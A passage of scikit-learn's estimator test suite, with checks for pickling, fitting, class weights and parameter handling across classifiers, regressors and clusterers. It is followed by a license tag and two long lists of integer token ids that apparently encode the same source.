if hasattr(estimator, method):
result[method] = getattr(estimator, method)(X)
# pickle and unpickle!
pickled_estimator = pickle.dumps(estimator)
unpickled_estimator = pickle.loads(pickled_estimator)
for method in result:
unpickled_result = getattr(unpickled_estimator, method)(X)
assert_array_almost_equal(result[method], unpickled_result)
def check_estimators_partial_fit_n_features(name, Alg):
# check if number of features changes between calls to partial_fit.
if not hasattr(Alg, 'partial_fit'):
return
X, y = make_blobs(n_samples=50, random_state=1)
X -= X.min()
with warnings.catch_warnings(record=True):
alg = Alg()
set_fast_parameters(alg)
if isinstance(alg, ClassifierMixin):
classes = np.unique(y)
alg.partial_fit(X, y, classes=classes)
else:
alg.partial_fit(X, y)
assert_raises(ValueError, alg.partial_fit, X[:, :-1], y)
def check_clustering(name, Alg):
X, y = make_blobs(n_samples=50, random_state=1)
X, y = shuffle(X, y, random_state=7)
X = StandardScaler().fit_transform(X)
n_samples, n_features = X.shape
# catch deprecation and neighbors warnings
with warnings.catch_warnings(record=True):
alg = Alg()
set_fast_parameters(alg)
if hasattr(alg, "n_clusters"):
alg.set_params(n_clusters=3)
set_random_state(alg)
if name == 'AffinityPropagation':
alg.set_params(preference=-100)
alg.set_params(max_iter=100)
# fit
alg.fit(X)
# with lists
alg.fit(X.tolist())
assert_equal(alg.labels_.shape, (n_samples,))
pred = alg.labels_
assert_greater(adjusted_rand_score(pred, y), 0.4)
# fit another time with ``fit_predict`` and compare results
if name is 'SpectralClustering':
# there is no way to make Spectral clustering deterministic :(
return
set_random_state(alg)
with warnings.catch_warnings(record=True):
pred2 = alg.fit_predict(X)
assert_array_equal(pred, pred2)
def check_clusterer_compute_labels_predict(name, Clusterer):
"""Check that predict is invariant of compute_labels"""
X, y = make_blobs(n_samples=20, random_state=0)
clusterer = Clusterer()
if hasattr(clusterer, "compute_labels"):
# MiniBatchKMeans
if hasattr(clusterer, "random_state"):
clusterer.set_params(random_state=0)
X_pred1 = clusterer.fit(X).predict(X)
clusterer.set_params(compute_labels=False)
X_pred2 = clusterer.fit(X).predict(X)
assert_array_equal(X_pred1, X_pred2)
def check_classifiers_one_label(name, Classifier):
error_string_fit = "Classifier can't train when only one class is present."
error_string_predict = ("Classifier can't predict when only one class is "
"present.")
rnd = np.random.RandomState(0)
X_train = rnd.uniform(size=(10, 3))
X_test = rnd.uniform(size=(10, 3))
y = np.ones(10)
# catch deprecation warnings
with warnings.catch_warnings(record=True):
classifier = Classifier()
set_fast_parameters(classifier)
# try to fit
try:
classifier.fit(X_train, y)
except ValueError as e:
if 'class' not in repr(e):
print(error_string_fit, Classifier, e)
traceback.print_exc(file=sys.stdout)
raise e
else:
return
except Exception as exc:
print(error_string_fit, Classifier, exc)
traceback.print_exc(file=sys.stdout)
raise exc
# predict
try:
assert_array_equal(classifier.predict(X_test), y)
except Exception as exc:
print(error_string_predict, Classifier, exc)
raise exc
def check_classifiers_train(name, Classifier):
X_m, y_m = make_blobs(n_samples=300, random_state=0)
X_m, y_m = shuffle(X_m, y_m, random_state=7)
X_m = StandardScaler().fit_transform(X_m)
# generate binary problem from multi-class one
y_b = y_m[y_m != 2]
X_b = X_m[y_m != 2]
for (X, y) in [(X_m, y_m), (X_b, y_b)]:
# catch deprecation warnings
classes = np.unique(y)
n_classes = len(classes)
n_samples, n_features = X.shape
with warnings.catch_warnings(record=True):
classifier = Classifier()
if name in ['BernoulliNB', 'MultinomialNB']:
X -= X.min()
set_fast_parameters(classifier)
set_random_state(classifier)
# raises error on malformed input for fit
assert_raises(ValueError, classifier.fit, X, y[:-1])
# fit
classifier.fit(X, y)
# with lists
classifier.fit(X.tolist(), y.tolist())
assert_true(hasattr(classifier, "classes_"))
y_pred = classifier.predict(X)
assert_equal(y_pred.shape, (n_samples,))
# training set performance
if name not in ['BernoulliNB', 'MultinomialNB']:
assert_greater(accuracy_score(y, y_pred), 0.83)
# raises error on malformed input for predict
assert_raises(ValueError, classifier.predict, X.T)
if hasattr(classifier, "decision_function"):
try:
# decision_function agrees with predict
decision = classifier.decision_function(X)
if n_classes is 2:
assert_equal(decision.shape, (n_samples,))
dec_pred = (decision.ravel() > 0).astype(np.int)
assert_array_equal(dec_pred, y_pred)
if (n_classes is 3
and not isinstance(classifier, BaseLibSVM)):
# 1on1 of LibSVM works differently
assert_equal(decision.shape, (n_samples, n_classes))
assert_array_equal(np.argmax(decision, axis=1), y_pred)
# raises error on malformed input
assert_raises(ValueError,
classifier.decision_function, X.T)
# raises error on malformed input for decision_function
assert_raises(ValueError,
classifier.decision_function, X.T)
except NotImplementedError:
pass
if hasattr(classifier, "predict_proba"):
# predict_proba agrees with predict
y_prob = classifier.predict_proba(X)
assert_equal(y_prob.shape, (n_samples, n_classes))
assert_array_equal(np.argmax(y_prob, axis=1), y_pred)
# check that probas for all classes sum to one
assert_array_almost_equal(np.sum(y_prob, axis=1),
np.ones(n_samples))
# raises error on malformed input
assert_raises(ValueError, classifier.predict_proba, X.T)
# raises error on malformed input for predict_proba
assert_raises(ValueError, classifier.predict_proba, X.T)
def check_estimators_fit_returns_self(name, Estimator):
"""Check if self is returned when calling fit"""
X, y = make_blobs(random_state=0, n_samples=9, n_features=4)
y = multioutput_estimator_convert_y_2d(name, y)
# some want non-negative input
X -= X.min()
estimator = Estimator()
set_fast_parameters(estimator)
set_random_state(estimator)
assert_true(estimator.fit(X, y) is estimator)
@ignore_warnings
def check_estimators_unfitted(name, Estimator):
"""Check that predict raises an exception in an unfitted estimator.
Unfitted estimators should raise either AttributeError or ValueError.
The specific exception type NotFittedError inherits from both and can
therefore be adequately raised for that purpose.
"""
# Common test for Regressors as well as Classifiers
X, y = _boston_subset()
with warnings.catch_warnings(record=True):
est = Estimator()
msg = "fit"
if hasattr(est, 'predict'):
assert_raise_message((AttributeError, ValueError), msg,
est.predict, X)
if hasattr(est, 'decision_function'):
assert_raise_message((AttributeError, ValueError), msg,
est.decision_function, X)
if hasattr(est, 'predict_proba'):
assert_raise_message((AttributeError, ValueError), msg,
est.predict_proba, X)
if hasattr(est, 'predict_log_proba'):
assert_raise_message((AttributeError, ValueError), msg,
est.predict_log_proba, X)
def check_supervised_y_2d(name, Estimator):
if "MultiTask" in name:
# These only work on 2d, so this test makes no sense
return
rnd = np.random.RandomState(0)
X = rnd.uniform(size=(10, 3))
y = np.arange(10) % 3
# catch deprecation warnings
with warnings.catch_warnings(record=True):
estimator = Estimator()
set_fast_parameters(estimator)
set_random_state(estimator)
# fit
estimator.fit(X, y)
y_pred = estimator.predict(X)
set_random_state(estimator)
# Check that when a 2D y is given, a DataConversionWarning is
# raised
with warnings.catch_warnings(record=True) as w:
warnings.simplefilter("always", DataConversionWarning)
warnings.simplefilter("ignore", RuntimeWarning)
estimator.fit(X, y[:, np.newaxis])
y_pred_2d = estimator.predict(X)
msg = "expected 1 DataConversionWarning, got: %s" % (
", ".join([str(w_x) for w_x in w]))
if name not in MULTI_OUTPUT:
# check that we warned if we don't support multi-output
assert_greater(len(w), 0, msg)
assert_true("DataConversionWarning('A column-vector y"
" was passed when a 1d array was expected" in msg)
assert_array_almost_equal(y_pred.ravel(), y_pred_2d.ravel())
def check_classifiers_classes(name, Classifier):
X, y = make_blobs(n_samples=30, random_state=0, cluster_std=0.1)
X, y = shuffle(X, y, random_state=7)
X = StandardScaler().fit_transform(X)
# We need to make sure that we have non negative data, for things
# like NMF
X -= X.min() - .1
y_names = np.array(["one", "two", "three"])[y]
for y_names in [y_names, y_names.astype('O')]:
if name in ["LabelPropagation", "LabelSpreading"]:
# TODO some complication with -1 label
y_ = y
else:
y_ = y_names
classes = np.unique(y_)
# catch deprecation warnings
with warnings.catch_warnings(record=True):
classifier = Classifier()
if name == 'BernoulliNB':
classifier.set_params(binarize=X.mean())
set_fast_parameters(classifier)
set_random_state(classifier)
# fit
classifier.fit(X, y_)
y_pred = classifier.predict(X)
# training set performance
assert_array_equal(np.unique(y_), np.unique(y_pred))
if np.any(classifier.classes_ != classes):
print("Unexpected classes_ attribute for %r: "
"expected %s, got %s" %
(classifier, classes, classifier.classes_))
def check_regressors_int(name, Regressor):
X, _ = _boston_subset()
X = X[:50]
rnd = np.random.RandomState(0)
y = rnd.randint(3, size=X.shape[0])
y = multioutput_estimator_convert_y_2d(name, y)
rnd = np.random.RandomState(0)
# catch deprecation warnings
with warnings.catch_warnings(record=True):
# separate estimators to control random seeds
regressor_1 = Regressor()
regressor_2 = Regressor()
set_fast_parameters(regressor_1)
set_fast_parameters(regressor_2)
set_random_state(regressor_1)
set_random_state(regressor_2)
if name in CROSS_DECOMPOSITION:
y_ = np.vstack([y, 2 * y + rnd.randint(2, size=len(y))])
y_ = y_.T
else:
y_ = y
# fit
regressor_1.fit(X, y_)
pred1 = regressor_1.predict(X)
regressor_2.fit(X, y_.astype(np.float))
pred2 = regressor_2.predict(X)
assert_array_almost_equal(pred1, pred2, 2, name)
def check_regressors_train(name, Regressor):
X, y = _boston_subset()
y = StandardScaler().fit_transform(y.reshape(-1, 1)) # X is already scaled
y = y.ravel()
y = multioutput_estimator_convert_y_2d(name, y)
rnd = np.random.RandomState(0)
# catch deprecation warnings
with warnings.catch_warnings(record=True):
regressor = Regressor()
set_fast_parameters(regressor)
if not hasattr(regressor, 'alphas') and hasattr(regressor, 'alpha'):
# linear regressors need to set alpha, but not generalized CV ones
regressor.alpha = 0.01
if name == 'PassiveAggressiveRegressor':
regressor.C = 0.01
# raises error on malformed input for fit
assert_raises(ValueError, regressor.fit, X, y[:-1])
# fit
if name in CROSS_DECOMPOSITION:
y_ = np.vstack([y, 2 * y + rnd.randint(2, size=len(y))])
y_ = y_.T
else:
y_ = y
set_random_state(regressor)
regressor.fit(X, y_)
regressor.fit(X.tolist(), y_.tolist())
y_pred = regressor.predict(X)
assert_equal(y_pred.shape, y_.shape)
# TODO: find out why PLS and CCA fail. RANSAC is random
# and furthermore assumes the presence of outliers, hence
# skipped
if name not in ('PLSCanonical', 'CCA', 'RANSACRegressor'):
print(regressor)
assert_greater(regressor.score(X, y_), 0.5)
@ignore_warnings
def check_regressors_no_decision_function(name, Regressor):
# checks whether regressors have decision_function or predict_proba
rng = np.random.RandomState(0)
X = rng.normal(size=(10, 4))
y = multioutput_estimator_convert_y_2d(name, X[:, 0])
regressor = Regressor()
set_fast_parameters(regressor)
if hasattr(regressor, "n_components"):
# FIXME CCA, PLS is not robust to rank 1 effects
regressor.n_components = 1
regressor.fit(X, y)
funcs = ["decision_function", "predict_proba", "predict_log_proba"]
for func_name in funcs:
func = getattr(regressor, func_name, None)
if func is None:
# doesn't have function
continue
# has function. Should raise deprecation warning
msg = func_name
assert_warns_message(DeprecationWarning, msg, func, X)
def check_class_weight_classifiers(name, Classifier):
if name == "NuSVC":
# the sparse version has a parameter that doesn't do anything
raise SkipTest
if name.endswith("NB"):
# NaiveBayes classifiers have a somewhat different interface.
# FIXME SOON!
raise SkipTest
for n_centers in [2, 3]:
# create a very noisy dataset
X, y = make_blobs(centers=n_centers, random_state=0, cluster_std=20)
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=.5,
random_state=0)
n_centers = len(np.unique(y_train))
if n_centers == 2:
class_weight = {0: 1000, 1: 0.0001}
else:
class_weight = {0: 1000, 1: 0.0001, 2: 0.0001}
with warnings.catch_warnings(record=True):
classifier = Classifier(class_weight=class_weight)
if hasattr(classifier, "n_iter"):
classifier.set_params(n_iter=100)
if hasattr(classifier, "min_weight_fraction_leaf"):
classifier.set_params(min_weight_fraction_leaf=0.01)
set_random_state(classifier)
classifier.fit(X_train, y_train)
y_pred = classifier.predict(X_test)
assert_greater(np.mean(y_pred == 0), 0.89)
def check_class_weight_balanced_classifiers(name, Classifier, X_train, y_train,
X_test, y_test, weights):
with warnings.catch_warnings(record=True):
classifier = Classifier()
if hasattr(classifier, "n_iter"):
classifier.set_params(n_iter=100)
set_random_state(classifier)
classifier.fit(X_train, y_train)
y_pred = classifier.predict(X_test)
classifier.set_params(class_weight='balanced')
classifier.fit(X_train, y_train)
y_pred_balanced = classifier.predict(X_test)
assert_greater(f1_score(y_test, y_pred_balanced, average='weighted'),
f1_score(y_test, y_pred, average='weighted'))
def check_class_weight_balanced_linear_classifier(name, Classifier):
"""Test class weights with non-contiguous class labels."""
X = np.array([[-1.0, -1.0], [-1.0, 0], [-.8, -1.0],
[1.0, 1.0], [1.0, 0.0]])
y = np.array([1, 1, 1, -1, -1])
with warnings.catch_warnings(record=True):
classifier = Classifier()
if hasattr(classifier, "n_iter"):
# This is a very small dataset, default n_iter are likely to prevent
# convergence
classifier.set_params(n_iter=1000)
set_random_state(classifier)
# Let the model compute the class frequencies
classifier.set_params(class_weight='balanced')
coef_balanced = classifier.fit(X, y).coef_.copy()
# Count each label occurrence to reweight manually
n_samples = len(y)
n_classes = float(len(np.unique(y)))
class_weight = {1: n_samples / (np.sum(y == 1) * n_classes),
-1: n_samples / (np.sum(y == -1) * n_classes)}
classifier.set_params(class_weight=class_weight)
coef_manual = classifier.fit(X, y).coef_.copy()
assert_array_almost_equal(coef_balanced, coef_manual)
def check_estimators_overwrite_params(name, Estimator):
X, y = make_blobs(random_state=0, n_samples=9)
y = multioutput_estimator_convert_y_2d(name, y)
# some want non-negative input
X -= X.min()
with warnings.catch_warnings(record=True):
# catch deprecation warnings
estimator = Estimator()
set_fast_parameters(estimator)
set_random_state(estimator)
# Make a physical copy of the orginal estimator parameters before fitting.
params = estimator.get_params()
original_params = deepcopy(params)
# Fit the model
estimator.fit(X, y)
# Compare the state of the model parameters with the original parameters
new_params = estimator.get_params()
for param_name, original_value in original_params.items():
new_value = new_params[param_name]
# We should never change or mutate the internal state of input
# parameters by default. To check this we use the joblib.hash function
# that introspects recursively any subobjects to compute a checksum.
# The only exception to this rule of immutable constructor parameters
# is possible RandomState instance but in this check we explicitly
# fixed the random_state params recursively to be integer seeds.
assert_equal(hash(new_value), hash(original_value),
"Estimator %s should not change or mutate "
" the parameter %s from %s to %s during fit."
% (name, param_name, original_value, new_value))
def check_sparsify_coefficients(name, Estimator):
X = np.array([[-2, -1], [-1, -1], [-1, -2], [1, 1], [1, 2], [2, 1],
[-1, -2], [2, 2], [-2, -2]])
y = [1, 1, 1, 2, 2, 2, 3, 3, 3]
est = Estimator()
est.fit(X, y)
pred_orig = est.predict(X)
# test sparsify with dense inputs
est.sparsify()
assert_true(sparse.issparse(est.coef_))
pred = est.predict(X)
assert_array_equal(pred, pred_orig)
# pickle and unpickle with sparse coef_
est = pickle.loads(pickle.dumps(est))
assert_true(sparse.issparse(est.coef_))
pred = est.predict(X)
assert_array_equal(pred, pred_orig)
def check_classifier_data_not_an_array(name, Estimator):
X = np.array([[3, 0], [0, 1], [0, 2], [1, 1], [1, 2], [2, 1]])
y = [1, 1, 1, 2, 2, 2]
y = multioutput_estimator_convert_y_2d(name, y)
check_estimators_data_not_an_array(name, Estimator, X, y)
def check_regressor_data_not_an_array(name, Estimator):
X, y = _boston_subset(n_samples=50)
y = multioutput_estimator_convert_y_2d(name, y)
check_estimators_data_not_an_array(name, Estimator, X, y)
def check_estimators_data_not_an_array(name, Estimator, X, y):
if name in CROSS_DECOMPOSITION:
raise SkipTest
# catch deprecation warnings
with warnings.catch_warnings(record=True):
# separate estimators to control random seeds
estimator_1 = Estimator()
estimator_2 = Estimator()
set_fast_parameters(estimator_1)
set_fast_parameters(estimator_2)
set_random_state(estimator_1)
set_random_state(estimator_2)
y_ = NotAnArray(np.asarray(y))
X_ = NotAnArray(np.asarray(X))
# fit
estimator_1.fit(X_, y_)
pred1 = estimator_1.predict(X_)
estimator_2.fit(X, y)
pred2 = estimator_2.predict(X)
assert_array_almost_equal(pred1, pred2, 2, name)
def check_parameters_default_constructible(name, Estimator):
classifier = LinearDiscriminantAnalysis()
# test default-constructibility
# get rid of deprecation warnings
with warnings.catch_warnings(record=True):
if name in META_ESTIMATORS:
estimator = Estimator(classifier)
else:
estimator = Estimator()
# test cloning
clone(estimator)
# test __repr__
repr(estimator)
# test that set_params returns self
assert_true(estimator.set_params() is estimator)
# test if init does nothing but set parameters
# this is important for grid_search etc.
# We get the default parameters from init and then
# compare these against the actual values of the attributes.
# this comes from getattr. Gets rid of deprecation decorator.
init = getattr(estimator.__init__, 'deprecated_original',
estimator.__init__)
try:
args, varargs, kws, defaults = inspect.getargspec(init)
except TypeError:
# init is not a python function.
# true for mixins
return
params = estimator.get_params()
if name in META_ESTIMATORS:
# they need a non-default argument
args = args[2:]
else:
args = args[1:]
if args:
# non-empty list
assert_equal(len(args), len(defaults))
else:
return
for arg, default in zip(args, defaults):
assert_in(type(default), [str, int, float, bool, tuple, type(None),
np.float64, types.FunctionType, Memory])
if arg not in params.keys():
# deprecated parameter, not in get_params
assert_true(default is None)
continue
if isinstance(params[arg], np.ndarray):
assert_array_equal(params[arg], default)
else:
assert_equal(params[arg], default)
def multioutput_estimator_convert_y_2d(name, y):
# Estimators in mono_output_task_error raise ValueError if y is of 1-D
# Convert into a 2-D y for those estimators.
if name in (['MultiTaskElasticNetCV', 'MultiTaskLassoCV',
'MultiTaskLasso', 'MultiTaskElasticNet']):
return y[:, np.newaxis]
return y
def check_non_transformer_estimators_n_iter(name, estimator,
multi_output=False):
# Check if all iterative solvers, run for more than one iteratiom
iris = load_iris()
X, y_ = iris.data, iris.target
if multi_output:
y_ = y_[:, np.newaxis]
set_random_state(estimator, 0)
if name == 'AffinityPropagation':
estimator.fit(X)
else:
estimator.fit(X, y_)
assert_greater(estimator.n_iter_, 0)
def check_transformer_n_iter(name, estimator):
if name in CROSS_DECOMPOSITION:
# Check using default data
X = [[0., 0., 1.], [1., 0., 0.], [2., 2., 2.], [2., 5., 4.]]
y_ = [[0.1, -0.2], [0.9, 1.1], [0.1, -0.5], [0.3, -0.2]]
else:
X, y_ = make_blobs(n_samples=30, centers=[[0, 0, 0], [1, 1, 1]],
random_state=0, n_features=2, cluster_std=0.1)
X -= X.min() - 0.1
set_random_state(estimator, 0)
estimator.fit(X, y_)
# These return a n_iter per component.
if name in CROSS_DECOMPOSITION:
for iter_ in estimator.n_iter_:
assert_greater(iter_, 1)
else:
assert_greater(estimator.n_iter_, 1)
def check_get_params_invariance(name, estimator):
class T(BaseEstimator):
"""Mock classifier
"""
def __init__(self):
pass
def fit(self, X, y):
return self
if name in ('FeatureUnion', 'Pipeline'):
e = estimator([('clf', T())])
elif name in ('GridSearchCV' 'RandomizedSearchCV'):
return
else:
e = estimator()
shallow_params = e.get_params(deep=False)
deep_params = e.get_params(deep=True)
assert_true(all(item in deep_params.items() for item in
shallow_params.items()))
|
bsd-3-clause
|
[
504,
636,
2443,
363,
492,
870,
63,
1593,
199,
199,
646,
2943,
199,
646,
3598,
199,
646,
984,
199,
646,
5190,
199,
646,
6485,
199,
646,
5927,
199,
504,
1331,
492,
14800,
199,
199,
646,
2680,
465,
980,
199,
504,
7026,
492,
5178,
199,
646,
2702,
199,
199,
504,
6357,
14,
24688,
14,
4174,
14,
4912,
492,
3482,
199,
504,
6357,
14,
24688,
14,
2423,
773,
492,
2631,
12,
15825,
199,
504,
6357,
14,
1208,
14,
4776,
492,
702,
63,
3536,
199,
504,
6357,
14,
1208,
14,
4776,
492,
702,
63,
3536,
63,
3821,
199,
504,
6357,
14,
1208,
14,
4776,
492,
702,
63,
3730,
63,
1188,
199,
504,
6357,
14,
1208,
14,
4776,
492,
702,
63,
1452,
199,
504,
6357,
14,
1208,
14,
4776,
492,
702,
63,
2052,
199,
504,
6357,
14,
1208,
14,
4776,
492,
702,
63,
262,
199,
504,
6357,
14,
1208,
14,
4776,
492,
702,
63,
1144,
63,
1452,
199,
504,
6357,
14,
1208,
14,
4776,
492,
702,
63,
1144,
63,
4398,
63,
1452,
199,
504,
6357,
14,
1208,
14,
4776,
492,
702,
63,
19811,
63,
1188,
199,
504,
6357,
14,
1208,
14,
4776,
492,
603,
15808,
63,
1719,
1469,
19033,
199,
504,
6357,
14,
1208,
14,
4776,
492,
663,
63,
2355,
63,
929,
199,
504,
6357,
14,
1208,
14,
4776,
492,
702,
63,
13154,
199,
504,
6357,
14,
1208,
14,
4776,
492,
18795,
199,
504,
6357,
14,
1208,
14,
4776,
492,
3686,
63,
5451,
199,
504,
6357,
14,
1208,
14,
4776,
492,
702,
63,
19811,
421,
199,
504,
6357,
14,
1095,
492,
334,
6311,
12,
8465,
5541,
4256,
12,
799,
3313,
269,
4256,
12,
2079,
30486,
4256,
12,
16454,
4256,
12,
3523,
13183,
9,
199,
504,
6357,
14,
6759,
492,
12862,
63,
3397,
12,
19477,
63,
3759,
63,
3397,
12,
289,
17,
63,
3397,
199,
199,
504,
6357,
14,
328,
20129,
867,
63,
10466,
492,
12489,
2825,
1408,
827,
867,
13182,
199,
504,
6357,
14,
2355,
63,
16539,
492,
3523,
3883,
23706,
199,
504,
6357,
14,
4445,
63,
5592,
492,
9496,
12780,
597,
199,
504,
6357,
14,
16820,
14,
1095,
492,
3523,
4728,
29389,
199,
504,
6357,
14,
7379,
492,
1852,
63,
7379,
199,
504,
6357,
14,
1208,
14,
6136,
492,
3918,
20403,
3849,
199,
504,
6357,
14,
1208,
492,
11801,
10925,
3849,
199,
504,
6357,
14,
7925,
63,
6136,
492,
3560,
63,
396,
63,
1294,
199,
199,
504,
6357,
14,
1208,
492,
13031,
199,
504,
6357,
14,
21402,
492,
9739,
24274,
199,
504,
6357,
14,
12281,
492,
2248,
63,
11885,
12,
2248,
63,
28275,
12,
1852,
63,
21893,
421,
199,
3973,
840,
615,
275,
488,
199,
28368,
63,
1093,
11265,
15717,
275,
788,
2749,
5153,
290,
7174,
297,
283,
2749,
51,
13013,
297,
283,
2571,
33,
297,
283,
2749,
2300,
26197,
418,
199,
21389,
63,
8414,
275,
788,
2571,
33,
297,
283,
872,
24116,
15155,
297,
283,
27822,
2480,
297,
355,
283,
7426,
3987,
15155,
297,
283,
7426,
28785,
15155,
297,
283,
26756,
3498,
297,
355,
283,
43,
20011,
15155,
297,
283,
14127,
50,
22642,
297,
283,
44,
4291,
297,
283,
27537,
297,
355,
283,
27537,
44,
4291,
297,
283,
10608,
13013,
297,
283,
3947,
4476,
27822,
2480,
297,
355,
283,
3947,
4476,
27822,
2480,
12847,
297,
283,
3947,
4476,
27537,
297,
283,
3947,
4476,
27537,
12847,
297,
355,
283,
2844,
273,
19133,
14215,
14959,
83,
4993,
297,
283,
2749,
5153,
290,
7174,
297,
283,
2749,
51,
13013,
297,
355,
283,
50,
5622,
1348,
15155,
297,
283,
19800,
20011,
15155,
297,
355,
283,
3883,
21668,
15155,
297,
283,
50,
22642,
297,
283,
50,
22642,
12847,
418,
421,
199,
318,
485,
11481,
63,
2865,
63,
2024,
63,
8625,
8,
354,
12,
28992,
304,
272,
1995,
1104,
63,
10646,
63,
5717,
272,
1995,
1104,
63,
3269,
63,
3397,
63,
31613,
63,
89,
272,
1995,
1104,
63,
2271,
63,
785,
272,
1995,
1104,
63,
10646,
63,
3269,
63,
5808,
63,
277,
339,
327,
2670,
626,
1006,
8943,
1995,
315,
20889,
3788,
1380,
272,
327,
28161,
641,
2701,
13148,
272,
1995,
1104,
63,
10646,
63,
1667,
63,
576,
63,
3431,
339,
340,
536,
440,
315,
445,
23264,
63,
1093,
11265,
15717,
435,
788,
51,
15832,
27907,
2565,
267,
327,
428,
15832,
27907,
365,
2222,
13,
30709,
12,
267,
327,
1937,
4976,
327,
2260,
1344,
267,
327,
8059,
13,
31384,
1159,
298,
4711,
2,
2529,
1323,
436,
1488,
267,
1995,
1104,
63,
7379,
63,
20249,
339,
340,
536,
440,
315,
788,
8499,
2699,
2565,
267,
327,
1379,
626,
1006,
23155,
1104,
3932,
1324,
367,
16046,
1159,
436,
315,
2319,
267,
1995,
1104,
63,
10646,
63,
4304,
63,
4904,
339,
340,
536,
440,
315,
788,
26756,
3498,
2565,
267,
327,
7600,
1,
267,
327,
315,
6770,
17131,
3498,
1,
267,
1995,
1104,
63,
10646,
63,
14658,
63,
1162,
272,
340,
2688,
8,
13183,
12,
283,
22502,
338,
1399,
735,
267,
1995,
1104,
63,
22502,
338,
1399,
63,
30477,
339,
1995,
1104,
63,
8627,
63,
4421,
63,
576,
339,
327,
1379,
626,
23155,
883,
506,
18731,
12,
436,
5403,
18731,
272,
327,
8120,
314,
2011,
6385,
465,
2544,
14,
272,
1995,
1104,
63,
10646,
63,
8092,
421,
199,
318,
485,
11481,
63,
14720,
63,
8625,
8,
354,
12,
8465,
5541,
304,
272,
327,
511,
1021,
6069,
883,
2429,
2222,
13,
1144,
666,
272,
1995,
1104,
63,
14720,
63,
576,
63,
1397,
63,
290,
63,
1144,
272,
327,
511,
19137,
28161,
641,
282,
2849,
1768,
3544,
372,
642,
1768,
272,
1995,
1104,
63,
27628,
63,
368,
63,
1302,
272,
1995,
1104,
63,
27628,
63,
2888,
272,
1995,
1104,
63,
10646,
63,
6672,
63,
3269,
63,
78,
63,
3179,
272,
327,
5678,
17754,
5343,
272,
1995,
1104,
63,
27628,
63,
2834,
272,
340,
334,
354,
440,
315,
2097,
30233,
16956,
16170,
401,
298,
4314,
11376,
401,
298,
4314,
51,
657,
5384,
937,
267,
327,
3254,
2005,
1013,
1863,
543,
446,
17,
1768,
288,
436,
536,
440,
315,
2097,
872,
24116,
8508,
401,
2490,
298,
7426,
3987,
8508,
21473,
288,
327,
2136,
2793,
1133,
746,
282,
5721,
315,
3520,
19137,
12,
465,
288,
327,
314,
2763,
612,
3217,
365,
1202,
701,
314,
11257,
10329,
14,
398,
1995,
1104,
63,
4792,
17311,
63,
89,
63,
18,
68,
272,
327
] |
[
636,
2443,
363,
492,
870,
63,
1593,
199,
199,
646,
2943,
199,
646,
3598,
199,
646,
984,
199,
646,
5190,
199,
646,
6485,
199,
646,
5927,
199,
504,
1331,
492,
14800,
199,
199,
646,
2680,
465,
980,
199,
504,
7026,
492,
5178,
199,
646,
2702,
199,
199,
504,
6357,
14,
24688,
14,
4174,
14,
4912,
492,
3482,
199,
504,
6357,
14,
24688,
14,
2423,
773,
492,
2631,
12,
15825,
199,
504,
6357,
14,
1208,
14,
4776,
492,
702,
63,
3536,
199,
504,
6357,
14,
1208,
14,
4776,
492,
702,
63,
3536,
63,
3821,
199,
504,
6357,
14,
1208,
14,
4776,
492,
702,
63,
3730,
63,
1188,
199,
504,
6357,
14,
1208,
14,
4776,
492,
702,
63,
1452,
199,
504,
6357,
14,
1208,
14,
4776,
492,
702,
63,
2052,
199,
504,
6357,
14,
1208,
14,
4776,
492,
702,
63,
262,
199,
504,
6357,
14,
1208,
14,
4776,
492,
702,
63,
1144,
63,
1452,
199,
504,
6357,
14,
1208,
14,
4776,
492,
702,
63,
1144,
63,
4398,
63,
1452,
199,
504,
6357,
14,
1208,
14,
4776,
492,
702,
63,
19811,
63,
1188,
199,
504,
6357,
14,
1208,
14,
4776,
492,
603,
15808,
63,
1719,
1469,
19033,
199,
504,
6357,
14,
1208,
14,
4776,
492,
663,
63,
2355,
63,
929,
199,
504,
6357,
14,
1208,
14,
4776,
492,
702,
63,
13154,
199,
504,
6357,
14,
1208,
14,
4776,
492,
18795,
199,
504,
6357,
14,
1208,
14,
4776,
492,
3686,
63,
5451,
199,
504,
6357,
14,
1208,
14,
4776,
492,
702,
63,
19811,
421,
199,
504,
6357,
14,
1095,
492,
334,
6311,
12,
8465,
5541,
4256,
12,
799,
3313,
269,
4256,
12,
2079,
30486,
4256,
12,
16454,
4256,
12,
3523,
13183,
9,
199,
504,
6357,
14,
6759,
492,
12862,
63,
3397,
12,
19477,
63,
3759,
63,
3397,
12,
289,
17,
63,
3397,
199,
199,
504,
6357,
14,
328,
20129,
867,
63,
10466,
492,
12489,
2825,
1408,
827,
867,
13182,
199,
504,
6357,
14,
2355,
63,
16539,
492,
3523,
3883,
23706,
199,
504,
6357,
14,
4445,
63,
5592,
492,
9496,
12780,
597,
199,
504,
6357,
14,
16820,
14,
1095,
492,
3523,
4728,
29389,
199,
504,
6357,
14,
7379,
492,
1852,
63,
7379,
199,
504,
6357,
14,
1208,
14,
6136,
492,
3918,
20403,
3849,
199,
504,
6357,
14,
1208,
492,
11801,
10925,
3849,
199,
504,
6357,
14,
7925,
63,
6136,
492,
3560,
63,
396,
63,
1294,
199,
199,
504,
6357,
14,
1208,
492,
13031,
199,
504,
6357,
14,
21402,
492,
9739,
24274,
199,
504,
6357,
14,
12281,
492,
2248,
63,
11885,
12,
2248,
63,
28275,
12,
1852,
63,
21893,
421,
199,
3973,
840,
615,
275,
488,
199,
28368,
63,
1093,
11265,
15717,
275,
788,
2749,
5153,
290,
7174,
297,
283,
2749,
51,
13013,
297,
283,
2571,
33,
297,
283,
2749,
2300,
26197,
418,
199,
21389,
63,
8414,
275,
788,
2571,
33,
297,
283,
872,
24116,
15155,
297,
283,
27822,
2480,
297,
355,
283,
7426,
3987,
15155,
297,
283,
7426,
28785,
15155,
297,
283,
26756,
3498,
297,
355,
283,
43,
20011,
15155,
297,
283,
14127,
50,
22642,
297,
283,
44,
4291,
297,
283,
27537,
297,
355,
283,
27537,
44,
4291,
297,
283,
10608,
13013,
297,
283,
3947,
4476,
27822,
2480,
297,
355,
283,
3947,
4476,
27822,
2480,
12847,
297,
283,
3947,
4476,
27537,
297,
283,
3947,
4476,
27537,
12847,
297,
355,
283,
2844,
273,
19133,
14215,
14959,
83,
4993,
297,
283,
2749,
5153,
290,
7174,
297,
283,
2749,
51,
13013,
297,
355,
283,
50,
5622,
1348,
15155,
297,
283,
19800,
20011,
15155,
297,
355,
283,
3883,
21668,
15155,
297,
283,
50,
22642,
297,
283,
50,
22642,
12847,
418,
421,
199,
318,
485,
11481,
63,
2865,
63,
2024,
63,
8625,
8,
354,
12,
28992,
304,
272,
1995,
1104,
63,
10646,
63,
5717,
272,
1995,
1104,
